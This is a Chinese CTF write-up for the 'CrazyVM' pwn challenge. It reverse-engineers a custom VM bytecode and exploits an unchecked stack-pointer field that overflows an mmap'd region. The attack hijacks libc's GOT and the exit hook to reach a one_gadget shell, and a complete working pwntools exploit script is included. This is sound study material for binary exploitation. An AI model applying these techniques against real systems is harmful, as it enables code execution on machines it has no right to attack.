0%

VM pwn+exit_hook劫持+mmap溢出

CrazyVM

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release version 2.31
1
2
3
4
5
6
CrazyVM: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=db8e268984b1b742f3813cdb5662ef47af09628d, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

程序分析

首先程序没法控制 malloc free 应该不是打堆,Full RELRO 打不了 GOT 表,另外程序也没有一些特殊字符串和类似于 strcmp 之类的函数

上述这些特点说明:本程序需要逆向虚拟机指令格式,猜测应该是自定义了一个虚拟机指令格式,我们需要逆向该指令格式并找到漏洞(漏洞点极有可能是溢出)

  • 虚拟机有两种实现方式:
    • 一种是将虚拟机字节码翻译为 ELF 指令,然后交给 CPU 运行(这种通常要打 shellcode)
    • 一种是在虚拟机内部实现各个指令的函数,通过这些函数模拟指令执行的过程(这种通常要注意溢出漏洞)

随便输入点数据试试程序结构:

1
2
3
4
code = "1111"
data = "2222"
sla("input code for vm: ",code)
sla("input data for vm: ",data)

在 GDB 中调试分析:

1
2
3
4
5
0x55d73e8fe290      0x0                 0x170		/* info */
0x55d73e8fe400 0x0 0x20 /* node */
0x55d73e8fe420 0x55d73e8fe430 0x10010 /* data */
0x55d73e90e430 0x0 0x20 /* node */
0x55d73e90e450 0x7fa93f84f010 0x20 /* node */
  • 整体堆布局:核心控制信息 info,3个次要信息 node,1个缓冲区
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> telescope 0x55d73e8fe2a0 /* INFO */
00:0000│ rax rdi 0x55d73e8fe2a0 ◂— 0x0
... ↓ 7 skipped
08:00400x55d73e8fe2e0 ◂— 0x0
... ↓ 7 skipped
10:00800x55d73e8fe320 ◂— 0x7f00000000080000
11:00880x55d73e8fe328 ◂— 0x7f00000000080000
12:00900x55d73e8fe330 ◂— 0x0
13:00980x55d73e8fe338 ◂— 0x0
14:00a0│ 0x55d73e8fe340 —▸ 0x55d73e8fe410 ◂— 0x0 /* NODE-code */
15:00a8│ 0x55d73e8fe348 —▸ 0x55d73e90e440 ◂— 0x7f00000000000000 /* NODE-fini */
16:00b0│ 0x55d73e8fe350 —▸ 0x55d73e90e460 ◂— 0x5000000000000000 /* NODE-data */
17:00b8│ 0x55d73e8fe358 ◂— 0x0
18:00c0│ 0x55d73e8fe360 ◂— 0x0
... ↓ 7 skipped
20:01000x55d73e8fe3a0 ◂— 0x0
... ↓ 7 skipped
28:01400x55d73e8fe3e0 ◂— 0x0
... ↓ 4 skipped
  • Chunk + 21*8 的位置有3个 chunk 指针
  • 分析出第1个 chunk 用于管理 code,第3个 chunk 用于管理 data
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> telescope 0x55d73e8fe400 /* NODE-code */
00:00000x55d73e8fe400 ◂— 0x0
01:00080x55d73e8fe408 ◂— 0x21 /* '!' */
02:00100x55d73e8fe410 ◂— 0x0
03:00180x55d73e8fe418 ◂— 0x10000
04:00200x55d73e8fe420 —▸ 0x55d73e8fe430 ◂— 0xa31313131 /* '1111\n' */
pwndbg> telescope 0x55d73e90e430 /* NODE-fini */
00:00000x55d73e90e430 ◂— 0x0
01:00080x55d73e90e438 ◂— 0x21 /* '!' */
02:00100x55d73e90e440 ◂— 0x7f00000000000000
03:00180x55d73e90e448 ◂— 0x100000
04:00200x55d73e90e450 —▸ 0x7fa93f84f010 ◂— 0x0
pwndbg> telescope 0x55d73e90e450 /* NODE-data */
00:00000x55d73e90e450 —▸ 0x7fa93f84f010 ◂— 0x0
01:00080x55d73e90e458 ◂— 0x21 /* '!' */
02:00100x55d73e90e460 ◂— 0x5000000000000000
03:00180x55d73e90e468 ◂— 0x20000
04:00200x55d73e90e470 —▸ 0x7fa93f82e010 ◂— 0xa32323232 /* '2222\n' */
  • 目前不知道第2个 chunk 的信息
  • PS:由于 size 过大,导致 calloc 调用了 mmap

通过调试分析可以初步提取出如下两个结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
00000000 Info struc ; (sizeof=0x180, mappedto_8)
00000000 buf dq 16 dup(?)
00000080 temp_base dq ?
00000088 data_base dq ?
00000090 code_base dq ?
00000098 field_98 dq ?
000000A0 node_code dq ? ; offset
000000A8 node_temp dq ? ; offset
000000B0 node_data dq ? ; offset
000000B8 field_B8 dq ?
000000C0 field_C0 dq ?
000000C8 field_C8 dq ?
000000D0 field_D0 dq ?
000000D8 field_D8 dq ?
000000E0 field_E0 dq ?
000000E8 field_E8 dq ?
000000F0 field_F0 dq ?
000000F8 field_F8 dq ?
00000100 field_100 dq ?
00000108 field_108 dq ?
00000110 field_110 dq ?
00000118 field_118 dq ?
00000120 key db ?
00000121 db ? ; undefined
00000122 db ? ; undefined
00000123 db ? ; undefined
00000124 db ? ; undefined
00000125 db ? ; undefined
00000126 db ? ; undefined
00000127 db ? ; undefined
00000128 code dq ?
00000130 key2 db ?
00000131 db ? ; undefined
00000132 db ? ; undefined
00000133 db ? ; undefined
00000134 db ? ; undefined
00000135 db ? ; undefined
00000136 db ? ; undefined
00000137 db ? ; undefined
00000138 t_rsi dq ?
00000140 t_rdx dq ?
00000148 t_rcx dq ?
00000150 t_r8 dq ?
00000158 func dq ? ; offset
00000160 key3 db ?
00000161 db ? ; undefined
00000162 db ? ; undefined
00000163 db ? ; undefined
00000164 db ? ; undefined
00000165 db ? ; undefined
00000166 db ? ; undefined
00000167 db ? ; undefined
00000168 field_168 dq ?
00000170 field_170 dq ?
00000178 field_178 dq ?
00000180 Info ends
1
2
3
4
5
00000000 Node struc ; (sizeof=0x18, mappedto_9)
00000000 base dq ?
00000008 size dq ?
00000010 chunk dq ? ; offset
00000018 Node ends

在函数 hand_key 中有非常复杂的 Switch-case 结构,猜测程序在这里完成指令执行的工作:

1
2
3
4
5
6
7
8
9
10
11
case 1u:
if ( !op1 || op1 == 2 || op1 == 3 )
{
ptr->key2 = 1;
ptr->func = sub_176C;
ptr->r_rdi = op1;
ptr->r_rsi = op2;
ptr->r_rdx = BYTE3(ptr->code);
ptr->r_rcx = (unsigned __int8)BYTE4(ptr->code);
re = 0;
}
  • 对于每一个 case,程序都设计了一个函数来完成其功能
  • 这里只能断点调试,通过输入值和返回值来判断该函数的功能

漏洞分析

1
2
3
4
5
6
.text:000000000000D77D 48 8B 45 E8                   mov     rax, [rbp+var_18]
.text:000000000000D781 48 8B B0 38 01 00 00 mov rsi, [rax+138h]
.text:000000000000D788 48 8B 45 E8 mov rax, [rbp+var_18]
.text:000000000000D78C 49 89 F8 mov r8, rdi
.text:000000000000D78F 48 89 C7 mov rdi, rax
.text:000000000000D792 41 FF D1 call r9
  • 程序会运行一个函数指针

该程序的漏洞极有可能是堆溢出(覆盖函数指针),但程序对 op3-offset 进行了限制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
switch ( op1 )
{
case 0u:
if ( BYTE3(ptr->code) <= 0x11uLL )
goto true;
result = 0xFFFFFFFFLL;
break;
case 1u:
if ( BYTE3(ptr->code) <= 0x11uLL )
goto true;
result = 0xFFFFFFFFLL;
break;
case 2u:
if ( BYTE3(ptr->code) <= 0x11uLL )
goto true;
result = 0xFFFFFFFFLL;
break;
case 3u:
if ( BYTE3(ptr->code) <= 0x11uLL )
goto true;
result = 0xFFFFFFFFLL;
break;
case 4u:
if ( BYTE3(ptr->code) <= 0x11uLL )
goto true;
result = 0xFFFFFFFFLL;
break;
case 5u:
  • 想要绕过这个限制就必须让 op1 为“5”,导致多数指令没法正常执行

在程序的第 0x12 和 0x13 号指令中还有另一处漏洞:

1
2
3
4
5
ptr->temp_base -= 8LL;
if ( offset <= 0xF )
*(_QWORD *)&ptr->node_temp->chunk[ptr->temp_base - ptr->node_temp->base] = ptr->buf[offset];// 0x80000-8
else
*(_QWORD *)&ptr->node_temp->chunk[ptr->temp_base - ptr->node_temp->base] = ptr->temp_base;
  • 指令 0x12 可以将任意数据存储到 ptr->node_temp->chunk 指向的堆空间中
1
2
3
4
5
ptr->temp_base += 8LL;
if ( offset <= 0xF )
ptr->buf[offset] = *(_QWORD *)&ptr->node_temp->chunk[ptr->temp_base - ptr->node_temp->base - 8];// 0x80000-8
else
ptr->temp_base = *(_QWORD *)&ptr->node_temp->chunk[ptr->temp_base - ptr->node_temp->base - 8];
  • 指令 0x13 可以将 ptr->node_temp->chunk 中的数据取出,并且可以控制 ptr->temp_base

关键点就在于 ptr->temp_base 是可控的,并且程序没有对 ptr->temp_base 的范围进行检查,这就导致了 mmap 的堆空间发生溢出

入侵思路

由于 mmap 的堆空间发生溢出,我们就有机会劫持 free_hook

利用下面的脚本可以将 libc-calloc 提取出来,并且导致 ptr->node_temp->chunk[ptr->temp_base - ptr->node_temp->base - 8] 索引到 libc-GOT:

1
2
3
4
5
6
7
code =  intemp(0x10) 
code += outtemp(0)
code += mov(1,0x323020+8-0x80000)
code += add(0,1)
code += intemp(0)
code += outtemp(0x10)
code += outtemp(2)
1
2
3
4
5
pwndbg> telescope 0x559f7a2bb2a0
00:0000│ rdi 0x559f7a2bb2a0 ◂— 0x7f00000000323020 /* ' 02' */
01:00080x559f7a2bb2a8 ◂— 0x2a3028 /* '(0*' */
02:00100x559f7a2bb2b0 —▸ 0x7f7d06f06c90 (calloc) ◂— endbr64
03:00180x559f7a2bb2b8 ◂— 0x0

再加上下面脚本就可以成功劫持 libc-GOT(calloc):

1
2
3
code += mov(1,0xe6aee-0x9ec90)
code += add(2,1)
code += intemp(2)
  • 劫持前:
1
2
3
4
5
6
7
07:00380x7f068029e018 (_dl_catch_exception@got.plt) —▸ 0x7f06801df6a0 (_dl_catch_exception) ◂— endbr64 
08:00400x7f068029e020 (malloc@got.plt) —▸ 0x7f0680119260 (malloc) ◂— endbr64
09:00480x7f068029e028 (_dl_signal_exception@got.plt) —▸ 0x7f06801df5f0 (_dl_signal_exception) ◂— endbr64
0a:00500x7f068029e030 (calloc@got.plt) —▸ 0x7f068011ac90 (calloc) ◂— endbr64
0b:00580x7f068029e038 (realloc@got.plt) —▸ 0x7f068011a000 (realloc) ◂— endbr64
0c:00600x7f068029e040 (_dl_signal_error@got.plt) —▸ 0x7f06801df640 (_dl_signal_error) ◂— endbr64
0d:00680x7f068029e048 (_dl_catch_error@got.plt) —▸ 0x7f06801df7c0 (_dl_catch_error) ◂— endbr64
  • 劫持后:
1
0c:0060│ rcx 0x7f068029e030 (calloc@got.plt) —▸ 0x7f0680162aee (execvpe+638) ◂— mov    rdx, r12

不过 calloc-GOT 显然无法触发,因此我们需要重新计算一下偏移去劫持 exit_hook

1
2
3
pwndbg> telescope 0x7f0afda13010+0x323020
00:00000x7f0afdd36030 (calloc@got.plt) —▸ 0x7f0afdbb2c90 (calloc) ◂— endbr64
01:00080x7f0afdd36038 (realloc@got.plt) —▸ 0x7f0afdbb2000 (realloc) ◂— endbr64
1
2
3
4
5
6
7
pwndbg> p rtld_lock_default_lock_recursive
$3 = {void (void *)} 0x7fa350ad8150 <rtld_lock_default_lock_recursive>
pwndbg> search -t qword 0x7fa350ad8150
Searching for value: b'P\x81\xadP\xa3\x7f\x00\x00'
ld-2.31.so 0x7fa350b05f68 0x7fa350ad8150
pwndbg> distance 0x7fa3507e2010 0x7fa350b05f68
0x7fa3507e2010->0x7fa350b05f68 is 0x323f58 bytes (0x647eb words)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './CrazyVM1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0xB58C)\n") #0xD792
pause()

def cmd(op):
sla(">",str(op))

def op(op,rsi,rdx,rcx,r8):
return p8(op)+p8(rsi)+p8(rdx)+p8(rcx)+p32(r8)

def mov(offset,data):
return op(1,1,2,offset,data)

def intemp(offset):
return op(0x12,4,3,offset,0)

def outtemp(offset):
return op(0x13,4,3,offset,0)

def add(offset,data):
return op(2,0,3,offset,data)

#debug()

code = intemp(0x10)
code += outtemp(0)
code += mov(1,0x323020+8-0x80000)
code += add(1,0)
code += intemp(1)
code += outtemp(0x10)
code += outtemp(3)

code += mov(1,0xe6aee-0x9ec90)
code += add(3,1)

code += mov(1,0x323f58+0x10-0x80000)
code += add(1,0)
code += intemp(1)
code += outtemp(0x10)
code += intemp(3)

data = "1"

sa("input code for vm: ",code)
sa("input data for vm: ",data)

"""
0xe6aee execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe6af1 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe6af4 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
"""

p.interactive()